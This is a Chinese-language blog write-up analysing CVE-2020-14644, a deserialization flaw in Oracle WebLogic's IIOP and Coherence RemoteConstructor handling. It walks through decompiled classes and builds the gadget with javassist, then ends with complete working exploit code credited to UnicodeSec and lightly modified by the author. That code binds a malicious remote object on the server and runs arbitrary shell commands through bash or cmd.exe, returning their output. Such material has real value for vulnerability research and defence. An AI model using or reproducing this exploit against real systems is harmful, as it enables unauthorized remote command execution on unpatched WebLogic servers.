CVE-2020-14644 weblogic iiop反序列化漏洞

时间:2022-07-23
本文章向大家介绍CVE-2020-14644 weblogic iiop反序列化漏洞，主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项，具有一定的参考价值，需要的朋友可以参考一下。

CVE-2020-14644 weblogic iiop反序列化漏洞

0x00 weblogic 受影响版本

Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

0x01 环境准备

1、安装weblogic server版本。

2、生成wlfullclient.jar包

安装weblogic_server可以参考https://blog.csdn.net/qq_36868342/article/details/79967606。

wlfullclient可以通过，在安装完weblogic服务以后，来到~/Oracle/Middleware/Oracle_Home/wlserver/server/lib目录，运行java -jar ~/Oracle/Middleware/Oracle_Home/wlserver/modules/com.bea.core.jarbuilder.jar，就会在lib目录下生成一个wlfullclient.jar包。这个wlfullclient.jar包包含了weblogic的基本所有功能类。

3、在IDEA新建一个工程文件。把coherence.jar包和wlfullclient.jar包放在同一个目录下，同时添加到库里。

0x02 反序列化gadget分析。

这次iiop的关键反序列化类是RemoteConstructor。代码如下：

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.tangosol.internal.util.invoke;

import com.tangosol.io.ClassLoaderAware;
import com.tangosol.io.ExternalizableLite;
import com.tangosol.io.SerializationSupport;
import com.tangosol.io.Serializer;
import com.tangosol.io.SerializerAware;
import com.tangosol.io.pof.PofReader;
import com.tangosol.io.pof.PofWriter;
import com.tangosol.io.pof.PortableObject;
import com.tangosol.util.Base;
import com.tangosol.util.ExternalizableHelper;
import java.io.DataInput;
import java.io.DataOutput;
import java.io.IOException;
import java.io.ObjectStreamException;
import java.io.Serializable;
import java.util.Arrays;
import javax.json.bind.annotation.JsonbProperty;

public class RemoteConstructor<T> implements ExternalizableLite, PortableObject, SerializationSupport, SerializerAware {
    @JsonbProperty("definition")
    protected ClassDefinition m_definition;
    @JsonbProperty("args")
    protected Object[] m_aoArgs;
    private transient Serializer m_serializer;
    protected transient ClassLoader m_loader;

    public RemoteConstructor() {
    }

    public RemoteConstructor(ClassDefinition definition, Object[] aoArgs) {
        this.m_definition = definition;

        for(int i = 0; i < aoArgs.length; ++i) {
            Object arg = aoArgs[i];
            aoArgs[i] = Lambdas.isLambda(arg) ? Lambdas.ensureRemotable((Serializable)arg) : arg;
        }

        this.m_aoArgs = aoArgs;
    }

    public ClassIdentity getId() {
        return this.getDefinition().getId();
    }

    public ClassDefinition getDefinition() {
        return this.m_definition;
    }

    public Object[] getArguments() {
        return this.m_aoArgs;
    }

    public T newInstance() {
        RemotableSupport support = RemotableSupport.get(this.getClassLoader());
        return support.realize(this);
    }

    protected ClassLoader getClassLoader() {
        ClassLoader loader = this.m_loader;
        return loader == null ? Base.getContextClassLoader(this) : loader;
    }

    public boolean equals(Object o) {
        if (!(o instanceof RemoteConstructor)) {
            return false;
        } else {
            RemoteConstructor<?> that = (RemoteConstructor)o;
            return this == that || this.getClass() == that.getClass() && Base.equals(this.m_definition, that.m_definition) && Base.equalsDeep(this.m_aoArgs, that.m_aoArgs);
        }
    }

    public int hashCode() {
        int nHash = this.m_definition.hashCode();
        nHash = 31 * nHash + Arrays.hashCode(this.m_aoArgs);
        return nHash;
    }

    public String toString() {
        return "RemoteConstructor{definition=" + this.m_definition + ", arguments=" + Arrays.toString(this.m_aoArgs) + '}';
    }

    public void readExternal(DataInput in) throws IOException {
        this.m_definition = (ClassDefinition)ExternalizableHelper.readObject(in);
        Object[] aoArgs = this.m_aoArgs = new Object[ExternalizableHelper.readInt(in)];

        for(int i = 0; i < aoArgs.length; ++i) {
            aoArgs[i] = ExternalizableHelper.readObject(in);
        }

    }

    public void writeExternal(DataOutput out) throws IOException {
        ExternalizableHelper.writeObject(out, this.m_definition);
        Object[] aoArgs = this.m_aoArgs;
        ExternalizableHelper.writeInt(out, aoArgs.length);
        Object[] var3 = aoArgs;
        int var4 = aoArgs.length;

        for(int var5 = 0; var5 < var4; ++var5) {
            Object o = var3[var5];
            ExternalizableHelper.writeObject(out, o);
        }

    }

    public void readExternal(PofReader in) throws IOException {
        this.m_definition = (ClassDefinition)in.readObject(0);
        this.m_aoArgs = in.readArray(1, (x$0) -> {
            return new Object[x$0];
        });
    }

    public void writeExternal(PofWriter out) throws IOException {
        out.writeObject(0, this.m_definition);
        out.writeObjectArray(1, this.m_aoArgs);
    }

    public Object readResolve() throws ObjectStreamException {
        return this.newInstance();
    }

    public Serializer getContextSerializer() {
        return this.m_serializer;
    }

    public void setContextSerializer(Serializer serializer) {
        this.m_serializer = serializer;
        if (serializer instanceof ClassLoaderAware) {
            this.m_loader = ((ClassLoaderAware)serializer).getContextClassLoader();
        }

    }
}
RemoteConstructor实现了ExternalizableLite接口，ExternalizableLite接口继承了Serializable，所以这个RemoteConstructor类是可以进行序列化的。该类里没有readobject函数，但有readResolve函数。详细了解可以参考https://blog.csdn.net/Leon_cx/article/details/81517603目前总结如下：必须实现Serializable接口或Externalizable接口的类才能进行序列化transient和static修饰符修饰的成员变量不会参与序列化和反序列化反序列化对象和序列化前的对象的全类名和serialVersionUID必须一致在目标类中添加私有的writeObject和readObject方法可以覆盖默认的序列化和反序列化方法在目标类中添加私有的readResolve可以最终修改反序列化回来的对象，可用于单例模式防止序列化导致生成第二个对象的问题readResolve操作是在readobject后面，所以readResolve会覆盖readobject的内容。
查看下readResolve函数的内容：

public Object readResolve() throws ObjectStreamException {

    return this.newInstance();
}

public T newInstance() {

    RemotableSupport support = RemotableSupport.get(this.getClassLoader());
    return support.realize(this);
}
getClassLoader()代码：
```java
protected ClassLoader getClassLoader() {
    ClassLoader loader = this.m_loader;
    return loader == null ? Base.getContextClassLoader(this) : loader;
}
根据RemoteConstructor的构造函数可知。我们先写个大框架：
```java

public class App2 {

public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException {
    /*ClassIdentity classIdentity = new ClassIdentity(
            org.iiop.test1.class
    );*/
    RemoteConstructor remoteConstructor = new RemoteConstructor(
            new ClassDefinition(),
            new Object[]{}
    );
    byte[] serialize= Serializables.serialize(remoteConstructor);
    try {
        Serializables.deserialize(serialize);
    } catch (ClassNotFoundException e) {
        e.printStackTrace();
    }
}

}

因为this.m_loader是transient修饰的，所以loader会是null，返回的是Base.getContextClassLoader(this)。

![](https://tva1.sinaimg.cn/large/007S8ZIlly1ghlny3d9efj31b40u04nh.jpg)

看下RemotableSupport里面的realize方法：
```java

public <T> T realize(RemoteConstructor<T> constructor) {

    ClassDefinition definition = this.registerIfAbsent(constructor.getDefinition());
    Class<? extends Remotable> clz = definition.getRemotableClass();
    if (clz == null) {
        synchronized(definition) {
            clz = definition.getRemotableClass();
            if (clz == null) {
                definition.setRemotableClass(this.defineClass(definition));
            }
        }
    }
    Remotable<T> instance = (Remotable)definition.createInstance(constructor.getArguments());
    instance.setRemoteConstructor(constructor);
    return instance;
}
第一张图片的报错是在registerIfAbsent方法里，因为ClassDefinition我们定义的是空，所以取到definition.getId()为null。
```java

protected ClassDefinition registerIfAbsent(ClassDefinition definition) {

    assert definition != null;
    ClassDefinition rtn = (ClassDefinition)this.f_mapDefinitions.putIfAbsent(definition.getId(), definition);
    return rtn == null ? definition : rtn;
}
![](https://tva1.sinaimg.cn/large/007S8ZIlly1ghlob41n6pj31b40u0avv.jpg)
然后导致(ClassDefinition)this.f_mapDefinitions.putIfAbsent(definition.getId(), definition)报错了
![](https://tva1.sinaimg.cn/large/007S8ZIlly1ghloc05mcpj30sc0y6dj9.jpg)

那我们接着看一下ClassDefinition是做啥的，必须给他一个初始化有值的对象，代码如下:
```java

//

// Source code recreated from a .class file by IntelliJ IDEA

// (powered by FernFlower decompiler)

//

package com.tangosol.internal.util.invoke;

import com.tangosol.io.ExternalizableLite;

import com.tangosol.io.pof.PofReader;

import com.tangosol.io.pof.PofWriter;

import com.tangosol.io.pof.PortableObject;

import com.tangosol.util.Base;

import com.tangosol.util.ClassHelper;

import com.tangosol.util.ExternalizableHelper;

import java.io.DataInput;

import java.io.DataOutput;

import java.io.File;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.OutputStream;

import java.lang.invoke.MethodHandle;

import java.lang.invoke.MethodHandles;

import java.lang.invoke.MethodType;

import java.lang.reflect.Constructor;

import java.lang.reflect.InvocationTargetException;

import javax.json.bind.annotation.JsonbProperty;

public class ClassDefinition implements ExternalizableLite, PortableObject {

protected transient Class<? extends Remotable> m_clz;
protected transient MethodHandle m_mhCtor;
@JsonbProperty("id")
protected ClassIdentity m_id;
@JsonbProperty("code")
protected byte[] m_abClass;
public ClassDefinition() {
}
public ClassDefinition(ClassIdentity id, byte[] abClass) {
    this.m_id = id;
    this.m_abClass = abClass;
    String sClassName = id.getName();
    Base.azzert(sClassName.length() < 65535, "The generated class name is too long:n" + sClassName);
}
public ClassIdentity getId() {
    return this.m_id;
}
public byte[] getBytes() {
    return this.m_abClass;
}
public Class<? extends Remotable> getRemotableClass() {
    return this.m_clz;
}
public void setRemotableClass(Class<? extends Remotable> clz) {
    this.m_clz = clz;
    Constructor<?>[] aCtor = clz.getDeclaredConstructors();
    if (aCtor.length == 1) {
        try {
            MethodType ctorType = MethodType.methodType(Void.TYPE, aCtor[0].getParameterTypes());
            this.m_mhCtor = MethodHandles.publicLookup().findConstructor(clz, ctorType);
        } catch (IllegalAccessException | NoSuchMethodException var4) {
            throw Base.ensureRuntimeException(var4);
        }
    }
}
public Object createInstance(Object... aoArgs) {
    try {
        return this.getConstructor(aoArgs).invokeWithArguments(aoArgs);
    } catch (NoSuchMethodException var10) {
        Constructor[] aCtors = this.m_clz.getDeclaredConstructors();
        Constructor[] var4 = aCtors;
        int var5 = aCtors.length;
        for(int var6 = 0; var6 < var5; ++var6) {
            Constructor ctor = var4[var6];
            if (ctor.getParameterTypes().length == aoArgs.length) {
                try {
                    return ctor.newInstance(aoArgs);
                } catch (InvocationTargetException | IllegalAccessException | IllegalArgumentException | InstantiationException var9) {
                }
            }
        }
        throw Base.ensureRuntimeException(var10);
    } catch (Throwable var11) {
        throw Base.ensureRuntimeException(var11);
    }
}
protected MethodHandle getConstructor(Object[] aoArgs) throws NoSuchMethodException {
    if (this.m_mhCtor != null) {
        return this.m_mhCtor;
    } else {
        Class[] aParamTypes = ClassHelper.getClassArray(aoArgs);
        try {
            MethodType ctorType = MethodType.methodType(Void.TYPE, ClassHelper.unwrap(aParamTypes));
            return MethodHandles.publicLookup().findConstructor(this.m_clz, ctorType);
        } catch (NoSuchMethodException var6) {
            try {
                MethodType ctorType = MethodType.methodType(Void.TYPE, aParamTypes);
                return MethodHandles.publicLookup().findConstructor(this.m_clz, ctorType);
            } catch (IllegalAccessException var5) {
                throw Base.ensureRuntimeException(var5);
            }
        } catch (IllegalAccessException var7) {
            throw Base.ensureRuntimeException(var7);
        }
    }
}
public void dumpClass(String sDir) {
    if (sDir != null) {
        File dirDump = new File(sDir, this.m_id.getPackage());
        boolean fDisabled = dirDump.isFile() || !dirDump.exists() && !dirDump.mkdirs();
        if (!fDisabled) {
            try {
                OutputStream os = new FileOutputStream(new File(dirDump, this.m_id.getSimpleName() + ".class"));
                Throwable var5 = null;
                try {
                    os.write(this.m_abClass);
                } catch (Throwable var15) {
                    var5 = var15;
                    throw var15;
                } finally {
                    if (os != null) {
                        if (var5 != null) {
                            try {
                                os.close();
                            } catch (Throwable var14) {
                                var5.addSuppressed(var14);
                            }
                        } else {
                            os.close();
                        }
                    }
                }
            } catch (IOException var17) {
            }
        }
    }
}
public boolean equals(Object o) {
    if (!(o instanceof ClassDefinition)) {
        return false;
    } else {
        ClassDefinition that = (ClassDefinition)o;
        return this == that || this.getClass() == that.getClass() && Base.equals(this.m_id, that.m_id);
    }
}
public int hashCode() {
    return this.m_id.hashCode();
}
public String toString() {
    return "ClassDefinition{id=" + this.m_id + '}';
}
public void readExternal(DataInput in) throws IOException {
    this.m_id = (ClassIdentity)ExternalizableHelper.readObject(in);
    this.m_abClass = ExternalizableHelper.readByteArray(in);
}
public void writeExternal(DataOutput out) throws IOException {
    ExternalizableHelper.writeObject(out, this.m_id);
    ExternalizableHelper.writeByteArray(out, this.m_abClass);
}
public void readExternal(PofReader in) throws IOException {
    this.m_id = (ClassIdentity)in.readObject(0);
    this.m_abClass = in.readByteArray(1);
}
public void writeExternal(PofWriter out) throws IOException {
    out.writeObject(0, this.m_id);
    out.writeByteArray(1, this.m_abClass);
}

}

新框架代码如下：
```java

public class App2 {

public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException {
    ClassIdentity classIdentity = new ClassIdentity();
    ClassDefinition classDefinition = new ClassDefinition(
            classIdentity,
            new byte[]{}
    );
    RemoteConstructor remoteConstructor = new RemoteConstructor(
            classDefinition,
            new Object[]{}
    );
    byte[] serialize= Serializables.serialize(remoteConstructor);
    try {
        Serializables.deserialize(serialize);
    } catch (ClassNotFoundException e) {
        e.printStackTrace();
    }
}

}

还是null，说明要对classIdentity也进行赋值初始化，classIdentity的构造函数如下：
```java

public ClassIdentity(Class<?> clazz) {

    this(clazz.getPackage().getName().replace('.', '/'), clazz.getName().substring(clazz.getName().lastIndexOf(46) + 1), Base.toHex(md5(clazz)));
}
protected ClassIdentity(String sPackage, String sBaseName, String sVersion) {
    this.m_sPackage = sPackage;
    this.m_sBaseName = sBaseName;
    this.m_sVersion = sVersion;
}
可知ClassIdentity是一个new class。我们再同目录下创建一个test1的类。代码如下：
```java

package org.iiop;

public class test1{

static {
    System.out.println("success");
}

}

执行代码放在优先级最高的static里。

修改代码:

```java

ClassIdentity classIdentity = new ClassIdentity(org.iiop.test1.class);

    ClassDefinition classDefinition = new ClassDefinition(
            classIdentity,
            new byte[]{}
    );
definition.getId()终于不是null了。
![](https://tva1.sinaimg.cn/large/007S8ZIlly1ghlokmai30j31b40u01ge.jpg)

最终来到
![](https://tva1.sinaimg.cn/large/007S8ZIlly1ghlopmj7m1j31b40u0qsk.jpg)

definseClass可以通过```https://xz.aliyun.com/t/2272```学习，我们可以看到sClassName已经是test1的值，但是abClass还是byte[0]，按理abClass里面存储的应该是test1的bytes值，所以我们需要想办法把abClass的值改成test1的bytes。一种是反射来修改，一种是看abClass是在哪里复制的。

这里我们采取第二种方法，因为```byte[] abClass = definition.getBytes();```通过可知，abClass是通过definition来赋值的，但是definition我们前面在初始化的时候，只给了类名，没有给bytes，所以我们修改下代码。类的操作可以通过javassist库来进行操作。

代码修改如下：

ClassIdentity classIdentity = new ClassIdentity(org.iiop.test1.class);

    ClassPool cp = ClassPool.getDefault();
    CtClass ctClass = cp.get(org.iiop.test1.class.getName());
    ctClass.replaceClassName(org.iiop.test1.class.getName(), org.iiop.test.class.getName() + "$" + classIdentity.getVersion());
    System.out.println(ctClass.toString());
    ClassDefinition classDefinition = new ClassDefinition(
            classIdentity,
            ctClass.toBytecode()
    );
因为之前看到的sClassName是test1$+十六进制，所以要做个replaceClassName的替换操作。
不替换前：
![](https://tva1.sinaimg.cn/large/007S8ZIlly1ghlp3kk1inj31b40u0k61.jpg)
替换后：
![](https://tva1.sinaimg.cn/large/007S8ZIlly1ghlp44bwcej31b40u017x.jpg)

运行之后：
![](https://tva1.sinaimg.cn/large/007S8ZIlly1ghlp50r3e0j31b40u0tsp.jpg)
成功把test1的内容给执行了，但是还有个报错。
```org.iiop.test1$0BC03FF199F8E95021E1281BDFAAA032 cannot be cast to com.tangosol.internal.util.invoke.Remotable```没有实现Remotable接口，那就改写下test1。
package org.iiop;

import com.tangosol.internal.util.invoke.Remotable;
import com.tangosol.internal.util.invoke.RemoteConstructor;

public class test1 implements Remotable {
    static {
        System.out.println("success");
    }


    @Override
    public RemoteConstructor getRemoteConstructor() {
        return null;
    }

    @Override
    public void setRemoteConstructor(RemoteConstructor remoteConstructor) {

    }
}

最终成功，无报错：

基本框架结束以后，在外面套一个T3协议或者iiop发送出去，即可rce。因为使用的是defineClass所以是可以直接回显的。

这边我直接给出UnicodeSec的利用iiop回显代码，其中有个小bug，我修改了一下一点点代码：

因为他的逻辑是if(iiopCtx.lookup("UnicodeSec") == null)我在测试过程中发现，因为第一次不存在UnicodeSec一定会是报错，导致一直不能进入rebind，一直循环在if这里，所以我采用try的方法，其他代码不变

package org.iiop;

import com.tangosol.internal.util.invoke.ClassDefinition;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import javassist.ClassPool;
import javassist.CtClass;
import weblogic.cluster.singleton.ClusterMasterRemote;
import weblogic.jndi.Environment;

import javax.naming.Context;
import javax.naming.NamingException;
import java.rmi.RemoteException;

/**
 * created by UnicodeSec potatso
 */
public class App {
    public static void main(String[] args) throws Exception {
        String text = "                   ___   ___ ___   ___        __ __ _  _     __ _  _   _  _                     n" +
                "                  |__ \ / _ \__ \ / _ \      /_ /_ | || |   / /| || | | || |                    n" +
                "   _____   _____     ) | | | | ) | | | |______| || | || |_ / /_| || |_| || |_    _____  ___ __  n" +
                "  / __\ \ / / _ \   / /| | | |/ /| | | |______| || |__   _| '_ \__   _|__   _|  / _ \ \/ / '_ \ n" +
                " | (__ \ V /  __/  / /_| |_| / /_| |_| |      | || |  | | | (_) | | |    | |   |  __/>  <| |_) |n" +
                "  \___| \_/ \___| |____|\___/____|\___/       |_||_|  |_|  \___/  |_|    |_|    \___/_/\_\ .__/ n" +
                "                                                                                         | |    n" +
                "                                                                                         |_|    " +
                "                                                     Powered by UnicodeSec potatso              ";
        System.out.println(text);
        String host = "127.0.0.1";
        String port = "7001";
        String command = "whoami";
        Context iiopCtx = getInitialContext(host, port);
        try{
            iiopCtx.lookup("UnicodeSec");
        }catch (Exception e){
            ClassIdentity classIdentity = new ClassIdentity(org.iiop.test.class);
            ClassPool cp = ClassPool.getDefault();
            CtClass ctClass = cp.get(org.iiop.test.class.getName());
            ctClass.replaceClassName(org.iiop.test.class.getName(), org.iiop.test.class.getName() + "$" + classIdentity.getVersion());
            RemoteConstructor constructor = new RemoteConstructor(
                    new ClassDefinition(classIdentity, ctClass.toBytecode()),
                    new Object[]{}
            );
            String bindName = "UnicodeSec" + System.nanoTime();
            iiopCtx.rebind(bindName, constructor);
        }
            executeCmdFromWLC(command, iiopCtx);
    }

    private static void printUsage() {
        System.out.println("usage: java -jar cve-2020-14644.jar host port command");
        System.exit(-1);
    }

    private static void executeCmdFromWLC(String command, Context iiopCtx) throws NamingException, RemoteException {
        ClusterMasterRemote remote = (ClusterMasterRemote) iiopCtx.lookup("UnicodeSec");
        String response = remote.getServerLocation(command);
        System.out.println(response);
    }

    public static Context getInitialContext(String host, String port) throws Exception {
        String url = converUrl(host, port);
        Environment environment = new Environment();
        environment.setProviderUrl(url);
        environment.setEnableServerAffinity(false);
        Context context = environment.getInitialContext();
        return context;
    }

    public static String converUrl(String host, String port) {
        return "iiop://" + host + ":" + port;
    }


}

test的代码:

package org.iiop;

import com.tangosol.internal.util.invoke.Remotable;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import weblogic.cluster.singleton.ClusterMasterRemote;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.util.ArrayList;
import java.util.List;

public class test implements Remotable, ClusterMasterRemote {


    static {
        try {
            String bindName = "UnicodeSec";
            Context ctx = new InitialContext();
            test remote = new test();
            ctx.rebind(bindName, remote);
            System.out.println("installed");
        } catch (Exception var1) {
            var1.printStackTrace();
        }
    }

    public test() {

    }

    @Override
    public RemoteConstructor getRemoteConstructor() {
        return null;
    }

    @Override
    public void setRemoteConstructor(RemoteConstructor remoteConstructor) {

    }

    @Override
    public void setServerLocation(String var1, String var2) throws RemoteException {

    }

    @Override
    public String getServerLocation(String cmd) throws RemoteException {
        try {

            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            List<String> cmds = new ArrayList<String>();

            if (isLinux) {
                cmds.add("/bin/bash");
                cmds.add("-c");
                cmds.add(cmd);
            } else {
                cmds.add("cmd.exe");
                cmds.add("/c");
                cmds.add(cmd);
            }

            ProcessBuilder processBuilder = new ProcessBuilder(cmds);
            processBuilder.redirectErrorStream(true);
            Process proc = processBuilder.start();

            BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            StringBuffer sb = new StringBuffer();

            String line;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("n");
            }

            return sb.toString();
        } catch (Exception e) {
            return e.getMessage();
        }
    }
}

第一次发送会报错，因为在rebind，第二次就会回显：

0x03 总结

这是一次相对其他较简单的gadget分析，需要了解iiop，cobra，反序列化，序列化等相关知识，同时还需要了解javassist和defineClass的知识。

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